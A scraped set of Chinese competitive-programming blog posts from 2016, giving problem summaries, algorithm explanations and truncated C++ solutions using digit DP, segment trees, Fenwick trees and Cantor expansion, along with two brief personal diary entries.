题意：题意说得一点页不清楚。。。意思在询问在区间[l,r]中满足某条件的数。该条件是，该数的任何一段数字是奇数组成的数串必须有偶数长度，任何一段数字是偶数组成的数串必须由奇数长度。 对于样例1，满足条件的29个数字分别是： 2,4,6,8,11,13,15,17,19,31,33,35,37,39,51,53,55,57,59,71,73,75,77,79,91,93,95,97,99. 对于样例2，满足条件的36的数字分别是： 110,112,114,116,118, 130,132,134,136,138 150,152,154,156,158 170,172,174,176,178 190,192,194,196,198 200,202,204,206,208,220 211,213,215,217,219 思路：数位dp.dp[i][j][k]表示长度为i，奇偶性相同的连续由j个，上一个的奇偶性为k. 注意不允许前导0. 其他就是细节了，太久没写数位dp调了好久啊QAQ 1/* *********************************************** 2Author :111qqz 3Created Time :Sun 18 Sep 2016 01:11:37 PM CST 4File Name :code/net/2016/shenyang/1007.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31int digit[40]; 32LL dp2[30][30][5]; 33LL dfs2(int pos,int cnt,int lst,bool limit,bool prehasnonzero) 34{ 35 if (pos==0) 36 { 37 if (lst==1\u0026\u0026cnt%2==0) return 1; 38 if (lst==2\u0026\u0026cnt%2==1) return 1; 39 return 0; 40 } 41 if (prehasnonzero\u0026\u0026!limit\u0026\u0026dp2[pos][cnt][lst]!=-1) return dp2[pos][cnt][lst]; 42 int mx = limit?digit[pos]:9; 43 LL res = 0 ; 44 if (!prehasnonzero) 45 { 46 for ( int i = 0 ; i \u003c= mx ; i++) 47 { 48 res+=dfs2(pos-1,i==0?0:1,i==0?0:2-i%2,limit\u0026\u0026i==mx,i==0?false:true); 49 } 50 } 51 else 52 { 53 for ( int i = 0 ; i \u003c= mx ; i++) 54 {","date":"2016-09-18","externalUrl":null,"permalink":"/2016/09/hdu5898/","section":"Posts","summary":"题目链接 题意：题意说得一点页不清楚。。。意思在询问在区间[l,r]中满足某条件的数。该条件是，该数的任何一段数字是奇数组成的数串必须有偶数长度，任何一段数字是偶数组成的数串必须由奇数长度。","tags":["数位dp"],"title":"2016 ShenYang regional online 1007||hdu 5898 odd-even number （数位dp）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个数，然后m个询问，每个询问一个区间[l,r],问该区间中不同的数有多少个。 思路：离线处理+线段树的做法不多说了： 1/* *********************************************** 2Author :111qqz 3Created Time :Fri 16 Sep 2016 11:34:32 PM CST 4File Name :code/spoj/dquery.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=3E4+7; 32const int M=2E5+7; 33int n,Q; 34int a[N]; 35int tree[N\u003c\u003c2]; 36map\u003cint,int\u003emp; 37struct node 38{ 39 int l,r; 40 int id; 41 bool operator \u003c (node b)const 42 { 43 if (r==b.r) return l\u003cb.l; 44 return r\u003cb.r; 45 } 46}q[M]; 47void PushUp( int rt) 48{ 49 tree[rt] = tree[rt\u003c\u003c1] + tree[rt\u003c\u003c1|1]; 50} 51void update( int p,int sc,int l,int r ,int rt) 52{ 53 if (l==r) 54 { 55 tree[rt]+=sc; 56 return; 57 } 58 int m = (l+r)\u003e\u003e1; 59 if (p\u003c=m) update(p,sc,lson); 60 else update(p,sc,rson); 61 PushUp(rt); 62} 63int query(int L,int R,int l,int r,int rt) 64{ 65 if (L\u003c=l\u0026\u0026r\u003c=R) return tree[rt]; 66 int m = (l+r)\u003e\u003e1; 67 int ret = 0 ; 68 if (L\u003c=m) ret += query(L,R,lson); 69 if (R\u003e=m+1) ret+=query(L,R,rson); 70 return ret; 71} 72int ans[M]; 73int main() 74{ 75 #ifndef ONLINE_JUDGE 76 freopen(\"code/in.txt\",\"r\",stdin); 77 #endif 78 cin\u003e\u003en; 79 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 80 cin\u003e\u003eQ; 81 for ( int i = 1 ; i \u003c= Q ; ","date":"2016-09-17","externalUrl":null,"permalink":"/2016/09/spoj-dquery/","section":"Posts","summary":"题目链接 题意：给出n个数，然后m个询问，每个询问一个区间[l,r],问该区间中不同的数有多少个。","tags":["主席树","分块","可持久化数据结构","线段树","莫队算法"],"title":"spoj DQUERY - D-query (询问区间中不同数的个数，线段树(离线) or 莫队算法（离线） or 主席树（在线）)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：题意是由伪代码给出的。。手算模拟了一下(noip初赛即视感），题意大概是说，给出两个数组a和b，a数组长度为n,b数组长度为len,然后从a中截取连续的len个元素，称为数组s，如果存在一种方法使得s中元素和b中的元素一一对应且每组和都大于等于h,则称这个s是合法的。现在问a中有多少个合法的s。 具体来说，对于样例 5 2 10 5 3 1 8 5 5 7 s={8,5}和s={5,7}是有解的。 因为对于前者8+3\u003e=10并且5+5\u003e=10,对于后者5+5\u003e=10,7+3\u003e=10,因此答案为2 思路： 最重要的一部是，我们先将b排序，然后维护一个函数f[i],在排序后的b中找到一个最小的j，满足a[i]+b[j]\u003e=h,然后让f[i]=j? f[i]直接二分就可以得到。。 因为f[i]的值是使得a[i]满足条件的最小的b值。 然后我们观察发现。 f[i]大于等于len的元素个数最多有1个，不然无解。 f[i]大于等于len-1的元素个数最多有2个，不然无解。 f[i]大于等于i的元素个数最多由len+1-i个，不然无解。 设g[i]=len+1-i-sum[i],sum[i]=y[i]+y[i+1]+…+y[len]。 如果某个s中，对于所有的i，都有g[i]\u003e=0，那么这个s就是合法的。 实际上我们没有必要去查询每个g[i]，只要g[i]中最小的大于等于0，那么这个s就是合法的。 现在的问题就变成了动态维护一段长度为len的最小后缀和。 我的思路是整体覆盖， 当a数组的区间从[l,r]到[l+1,r+1]的时候，增加了a[r+1],假设f[r+1]=p,那么用线段树更新区间[1,p]，都增加1. 减少了a[l],假设f[l]=q,那么同样用线段树维护，使得区间[1,q]都减少1. 讲道理应该也可以做吧。。。 不过被羊神@sheep教育说其实单点更新就可以。。。 于是去学了下动态维护区间最大子段和的线段树做法： bzoj 1756解题报告hit oj 2687 解题报告 然后单点更新维护最大后缀和就很容易了。 类似的做法，我们也维护一个最小前缀和。初始化的时候把1..len赋值成-1. 然后每次移动区间，从【l,r】移动到[l+1,r+1]的时候，将f[r+1]添加1，将f[l]减少1. 这样如果某个s中的任意前缀和都是等于0的，那么这个s就是合法的。 因此我们只需要维护最小前缀和。 代码是维护的最小前缀和 1/* *********************************************** 2Author :111qqz 3Created Time :Fri 16 Sep 2016 05:13:38 PM CST 4File Name :code/cf/problem/338E.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30con","date":"2016-09-16","externalUrl":null,"permalink":"/2016/09/codeforces-338-e-optimize/","section":"Posts","summary":"题目链接 题意：题意是由伪代码给出的。。手算模拟了一下(noip初赛即视感），题意大概是说，给出两个数组a和b，a数组长度为n,b数组长度为len,然后从a中截取连续的len个元素，称为数组s，如果存在一种方法使得s中元素和b中的元素一一对应且每组和都大于等于h,则称这个s是合法的。现在问a中有多少个合法的s。 具体来说，对于样例 5 2 10 5 3 1 8 5 5 7","tags":["线段树"],"title":"codeforces 338 E. Optimize! (线段树维护最小前缀和）","type":"post"},{"categories":["ACM"],"content":"1756: Vijos1083 小白逛公园 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 1078 Solved: 353 [Submit][Status][Discuss] Description # 小新经常陪小白去公园玩，也就是所谓的遛狗啦…在小新家附近有一条“公园路”，路的一边从南到北依次排着n个公园，小白早就看花了眼，自己也不清楚该去哪些公园玩了。 一开始，小白就根据公园的风景给每个公园打了分-.-。小新为了省事，每次遛狗的时候都会事先规定一个范围，小白只可以选择第a个和第b个公园之间（包括a、b两个公园）选择连续的一些公园玩。小白当然希望选出的公园的分数总和尽量高咯。同时，由于一些公园的景观会有所改变，所以，小白的打分也可能会有一些变化。 那么，就请你来帮小白选择公园吧。 Input # 第一行，两个整数N和M，分别表示表示公园的数量和操作（遛狗或者改变打分）总数。 接下来N行，每行一个整数，依次给出小白 开始时对公园的打分。 接下来M行，每行三个整数。第一个整数K，1或2。K=1表示，小新要带小白出去玩，接下来的两个整数a和b给出了选择公园的范围（1≤a,b≤N）；K=2表示，小白改变了对某个公园的打分，接下来的两个整数p和s，表示小白对第p个公园的打分变成了s（1≤p≤N）。 其中，1≤N≤500 000，1≤M≤100 000，所有打分都是绝对值不超过1000的整数。 Output # 小白每出去玩一次，都对应输出一行，只包含一个整数，表示小白可以选出的公园得分和的最大值。 Sample Input # 5 3 1 2 -3 4 5 1 2 3 2 2 -1 1 2 3 Sample Output # 2 -1 题意：中文题面，不多说。 思路：关于维护最大子段和的问题，做法同 hitoj2687题解 但是和上面这道题不同的是，每次询问的是某个区间的最大字段和，而不是整个区间的最大子段和。 我们的做法是，将查询的区间拆成若干个区间，然后按照pushup中的方法合并。 一个技巧是query的时候返回一个结构体，这样会比较好写。 1/* *********************************************** 2Author :111qqz 3Created Time :Fri 16 Sep 2016 03:15:50 AM CST 4File Name :code/bzoj/1756.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=5E5+7; 32int n,m; 33int a[N]; 34struct Tree 35{ 36 int sum; 37 int mxl; 38 int mxr; 39","date":"2016-09-15","externalUrl":null,"permalink":"/2016/09/bzoj-1756/","section":"Posts","summary":"1756: Vijos1083 小白逛公园 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 1078 Solved: 353 [Submit][Status][Discuss]","tags":["最大连续区间和","线段树"],"title":"BZOJ 1756: Vijos1083 小白逛公园　 （线段树维护单点修改区间查询最大子段和）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个数,m个修改，每次修改后询问整个区间的最大连续子段。 思路：考虑一段区间，分成左右两个子区间，这段区间的最大子段有三种情况：只在左区间中，只在右区间中，既在左区间中又在右区间中。前两种很好维护，对于后一种，我们新增加线段树的两个域，mxl,mxr，分别表示一个区间中包含左端点在的最大字段和（也就是最大前缀和），和一个区间中包含右端点在的最大子段和（也就是最大后缀和），然后对于最大子段既在左区间又在右区间的情况，只需要合并【左区间的最大后缀和 】和【右区间的最大前缀和】就好。 关于一个区间最大前缀和的维护，取该区间的左区间的最大前缀和和【该区间的左区间和】+【该区间的右区间的最大前缀和】的最大值。 最大后缀和同理。 这是一种很经典的做法，注意体会。 1A 1/* *********************************************** 2Author :111qqz 3Created Time :Fri 16 Sep 2016 04:01:49 AM CST 4File Name :code/hitoj/2687.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,m; 35struct 36{ 37 int mx; 38 int mxr; 39 int mxl; 40 int sum; 41}tree[N\u003c\u003c2]; 42void PushUp( int rt) 43{ 44 tree[rt].sum = tree[rt\u003c\u003c1].sum + tree[rt\u003c\u003c1|1].sum; 45 if (tree[rt\u003c\u003c1].mxr\u003e0\u0026\u0026tree[rt\u003c\u003c1|1].mxl\u003e0) //区间合并 46 tree[rt].mx = tree[rt\u003c\u003c1].mxr + tree[rt\u003c\u003c1|1].mxl; 47 else tree[rt].mx = max(tree[rt\u003c\u003c1].mxr,tree[rt\u003c\u003c1|1].mxl); 48 tree[rt].mx = max(tree[rt].mx,max(tree[rt\u003c\u003c1].mx,tree[rt\u003c\u003c1|1].mx)); 49 tree[rt].mxl = max(tree[rt\u003c\u003c1].mxl,tree[rt\u003c\u003c1|1].mxl+tree[rt\u003c\u003c1].sum); 50 tree[rt].mxr = max(tree[rt\u003c\u003c1|1].mxr,tree[rt\u003c\u003c1].mxr+tree[rt\u003c\u003c1|1].sum); 51} 52void build(int l,int r,int rt) 53{ 54 if (l==r) 55 { 56 int x; 57 scanf(\"%d","date":"2016-09-15","externalUrl":null,"permalink":"/2016/09/hit-oj-2687-candy/","section":"Posts","summary":"题目链接 题意：给出n个数,m个修改，每次修改后询问整个区间的最大连续子段。","tags":["最大连续区间和","线段树"],"title":"hit oj 2687 Candy (线段树动态维护最大连续子段)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： how many pairs of integers l and r are there, such that 1 ≤ l \u003c r ≤ n and sequence b = _a_1_a_2… a__l__a__r__a__r + 1… a__n has no more than k inversions. 我花了两个小时才看懂题。。。。一直没懂b数列中a[l]和a[r]怎么就挨着了。。。 其实意思是。。。只保留a数列中1..l和r..n的。。。构成b数列。。。然后b数列的逆序对数小于等于k.问这样的l,r的对数。 思路：尺取+树状数组。 枚举l,每次找到最小的满足题意的r，对答案的贡献是n-r+1,然后用两个树状数组，分别维护增加或者减少一个树的时候，前半段和后半段对逆序数的影响。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 14 Sep 2016 04:23:06 PM CST 4File Name :code/cf/problem/220E.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int tree[2][N]; 33int a[N],p[N]; 34int n; 35LL k; 36int lowbit( int x) 37{ 38 return x\u0026(-x); 39} 40void update (int o, int x,int delta) 41{ 42 if (!o) x = n-x+1; 43 for ( int i = x; i \u003c= n ; i+=lowbit(i)) tree[o][i]+=delta; 44} 45int Hash( int x) 46{ 47 return lower_bound(p+1,p+n+1,x)-p; 48} 49int Sum(int o, int x) 50{ 51 if (!o) x = n-x+1; 52 int res = 0 ; 53 for ( int i = x; i \u003e= 1 ; i-=lowbit(i)) res+=tree[o][i]; 54 return res; 55} 56int main() 57{ 58 #ifndef ONLINE_JUDGE 59 freopen(\"code/in.txt\",\"r\",stdin); 60 #endif 61 cin\u003e\u003en\u003e\u003ek; 62 for ( int i = 1 ;i \u003c= n ; i++) scanf(\"%d\",a+i),p[i] = a[i]; 63 sort(p+1,p+n+1); 64 ","date":"2016-09-15","externalUrl":null,"permalink":"/2016/09/cf220e/","section":"Posts","summary":"题目链接 题意： how many pairs of integers l and r are there, such that 1 ≤ l \u003c r ≤ n and sequence b = _a_1_a_2… a__l__a__r__a__r + 1… a__n has no more than k inversions.","tags":["尺取法","树状数组","逆序对"],"title":"codeforces 220 E. Little Elephant and Inversions (树状数组+尺取)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出两个排列，定义ord(p)为排列p的顺序（字典顺从小到大），定义perm(x)为顺序为x的排列，现在要求 1 ≤ n ≤ 200 000 思路：首先去学了一下康托展开和逆展开。。。其实就是对于这种排列之类的问题。。。的一个比较省空间的hash函数。。。？ 康托展开资料 然后由于n非常大。。康托展开中要查找当前位置后面有多少个比当前位置小的。。。 然而这复杂是n2。。。肯定gg。。。 因此里面那层我们用一课线段树维护。。。复杂度nlgn 在康托逆展开的过程中。。。我们要查询之前没有出现过的第k个元素。。。。 因为n很大这里也需要线段树来维护。。。 所以再建一棵线段树。。。某位置表示初始时刻是否为空，初始都为1，表示都没有出现。思想类似于poj 2828 poj 2828解题报告 然后还是由于n很大。。。在康托展开中的阶乘部分。。。完全存不下。。。 直接用高精度应该也能做？ 不过比较推荐的做法是： The Factorial Number System wiki_Factorial number system 是一种和阶乘相关的进制表示法。 大概就是不同位置上的权值，不像一般的k进制数，是k^0,k^1,k^2…. 而是0!,1!,2!。。。 这种表示合法的正确性基于： 1*1! + 2*2! + 3*3! + ... + k*k! = (k+1)! - 1 具体参见上面两个链接。 因为我们可以把所有康托展开都用 Factorial number system来表示。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 13 Sep 2016 04:33:55 PM CST 4File Name :code/cf/problem/501D.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int n ; 33int tree[N\u003c\u003c2]; 34int fac[N]; 35int A[N],B[N]; 36int ans[N]; 37void PushUp(int rt) 38{ 39 tree[rt] = tree[rt\u003c\u003c1] + tree[rt\u003c\u003c1|1]; 40} 41void update(int p,int l,int r,int rt) 42{ 43 if (l==r) 44 { 45 tree[rt]++; 46 return; 47 } 48 int m = (l+r)\u003e\u003e1; 49 if (p\u003c=m) update(p,lson); 50 else update(p,rson); 51 PushUp(rt); 52} ","date":"2016-09-14","externalUrl":null,"permalink":"/2016/09/codeforces-501-d-misha-and-permutations-summation-factorial_number_systemx2/","section":"Posts","summary":"题目链接 题意：给出两个排列，定义ord(p)为排列p的顺序（字典顺从小到大），定义perm(x)为顺序为x的排列，现在要求 1 ≤ n ≤ 200 000","tags":["Factorial number system","康托展开/逆展开","线段树"],"title":"codeforces 501 D Misha and Permutations Summation (康托展开+康托逆展开+factorial_number_system+线段树×2)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个长度为n的数列，每个位置是0或者1，给出q个操作，操作有两种类型，分别是将一段区间中反转，和询问当前某位置是0还是1 思路：lazy标记。lazy[i]记录以i节点为根节点的子树对应的区间中被翻转的次数，初始为0.然后查询的时候，根据被翻转次数的奇偶性确定答案。 wa了好多发。。。比较致命的是。。PushDown函数忘记改了。。。还按照染色的方法直接赋值的。。。然而这里是统计次数。。。所以是累加。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 14 Sep 2016 12:59:07 AM CST 4File Name :code/loj/1080.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int lazy[N\u003c\u003c2];//记录翻转次数 33int n; 34string st; 35int a[N]; 36void PushDown( int rt) 37{ 38 if (lazy[rt]) 39 { 40 lazy[rt\u003c\u003c1] +=lazy[rt]; 41 lazy[rt\u003c\u003c1|1]+=lazy[rt]; 42 lazy[rt] = 0; 43 } 44} 45void build(int l,int r,int rt) 46{ 47 if (l==r) 48 { 49 lazy[rt] = 0; 50 return; 51 } 52 int m = (l+r)\u003e\u003e1; 53 build(lson); 54 build(rson); 55} 56void update(int L,int R,int l,int r,int rt) 57{ 58 if (L\u003c=l\u0026\u0026r\u003c=R) 59 { 60 lazy[rt]++; 61 return; 62 } 63 PushDown(rt); 64 int m = (l+r)\u003e\u003e1; 65 if (L\u003c=m) update(L,R,lson); 66 if (R\u003e=m+1) update(L,R,rson); 67} 68int query( int p,int l,int r,int rt) 69{ 70 if (l==r) return lazy[rt]; 71 PushDown(rt); 72 int m = (l+r)\u003e\u003e1; 73 //int res; 74 if (p\u003c=m) query(p,lson); 75 else query(p,rson); 76 // return res; 77} 78int main() 79{ 80 #ifndef ON","date":"2016-09-13","externalUrl":null,"permalink":"/2016/09/light-oj-1080-binary-simulation-lazy/","section":"Posts","summary":"题目链接 题意：给出一个长度为n的数列，每个位置是0或者1，给出q个操作，操作有两种类型，分别是将一段区间中反转，和询问当前某位置是0还是1","tags":["lazy标记","线段树"],"title":"light oj 1080 Binary Simulation (线段树lazy标记，区间更新，单点查询)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求n！在k进制表示下有多少位。 思路：答案为[ log(1)+log(2)+…+log(N) ]+1 其中log的底数都是K 由于有多组数据，预处理一个log的前缀和。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 13 Sep 2016 05:13:15 PM CST 4File Name :code/loj/1045.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e-digits-of-factorial-k进制数的位 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32int n; 33int base; 34double sum[N]; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 sum[0] = 0 ; 41 for ( int i = 1 ; i \u003c N ; i++) sum[i] = sum[i-1] + log(i); 42 int T; 43 cin\u003e\u003eT; 44 int cas = 0 ; 45 while (T--) 46 { 47 scanf(\"%d%d\",\u0026n,\u0026base); 48 double ans = sum[n]/log(base)+1; 49 printf(\"Case %d: %d\\n\",++cas,int(ans)); 50 } 51 #ifndef ONLINE_JUDGE 52 fclose(stdin); 53 #endif 54 return 0; 55}","date":"2016-09-13","externalUrl":null,"permalink":"/2016/09/digits-of-factorial-k/","section":"Posts","summary":"题目链接 题意：求n！在k进制表示下有多少位。 思路：答案为[ log(1)+log(2)+…+log(N) ]+1 其中log的底数都是K","tags":["log","math"],"title":"light oj 1045 Digits of Factorial (k进制数的位数)","type":"post"},{"categories":["ACM"],"content":"感觉就是为了记录排列。。。重复之类的。。。用到的一个hash函数。。。？ 维基百科 讲解","date":"2016-09-13","externalUrl":null,"permalink":"/2016/09/%e5%ba%b7%e6%89%98%e5%b1%95%e5%bc%80%e5%92%8c%e5%ba%b7%e6%89%98%e9%80%86%e5%b1%95%e5%bc%80/","section":"Posts","summary":"感觉就是为了记录排列。。。重复之类的。。。用到的一个hash函数。。。？","tags":["hash","康托展开"],"title":"康托展开和康托逆展开","type":"post"},{"categories":["随笔杂谈"],"content":"被ex吐槽说。。。常年穿运动服。。。没有想看的欲望。。。。 已经是第二次被吐槽不会穿衣了Orz…. 不禁陷入沉思。。。。？ 所以大概要花些时间学习一下基本的穿衣技巧……？ 而且。。。。之前觉得。。。。没有遇到合适的妹子。。。。。 现在觉得。。。。。如果不自己创造一些机会的话。。。。就永远不会有合适的。。。。？ 不过。。。。。。我在这方面毫无信心和经验orz…. 哎。。。怎么突然想起这些事。。。明天hk网赛，rp++","date":"2016-09-09","externalUrl":null,"permalink":"/2016/09/20160910/","section":"Posts","summary":"被ex吐槽说。。。常年穿运动服。。。没有想看的欲望。。。。 已经是第二次被吐槽不会穿衣了Orz….","tags":["算法竞赛"],"title":"20160910随笔","type":"post"},{"categories":["随笔杂谈"],"content":"难得有聊得来的妹子邀请我出去玩。。。。。 我竟然。。。。。。。。 我。。。。。 。。。。。 。。。。。 。。。。。 我好菜啊。。。。。。。","date":"2016-09-06","externalUrl":null,"permalink":"/2016/09/sad/","section":"Posts","summary":"难得有聊得来的妹子邀请我出去玩。。。。。 我竟然。。。。。。。。 我。。。。。","tags":["算法竞赛"],"title":"sad","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：现在有N个骑士进行M轮PK…现在告诉这M轮是谁站在台上…其将l~r所存在的骑士都打败..而若一个骑士被打败..就出局了..也就是不存在了…请输出每个骑士是被哪个骑士打败的(最后的胜利者输出0)…保证有解.. 思路：由于先前被打败的骑士直接就退场了。。。所以如果不做判断。。那么之后胜利的骑士会干扰之前的结果。。。 可以在pushdown的时候加判断。。。 不过我觉得比较好的做法是。。。倒序处理。。。。 倒序处理。。。后处理的直接覆盖先处理的结果。。。因为后处理的在之前。。优先级更高。。。被覆盖掉的骑士其实应该是退场的。。。 倒序处理就避免了判断的问题。。。完美。。。 1/* *********************************************** 2Author :111qqz 3Created Time :Wed 07 Sep 2016 02:13:55 AM CST 4File Name :code/cf/problem/356A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E5+7; 34int n,m; 35struct node 36{ 37 int l,r,x; 38}q[N]; 39int lazy[N\u003c\u003c2]; 40void PushDown( int rt) 41{ 42 if (lazy[rt]) 43 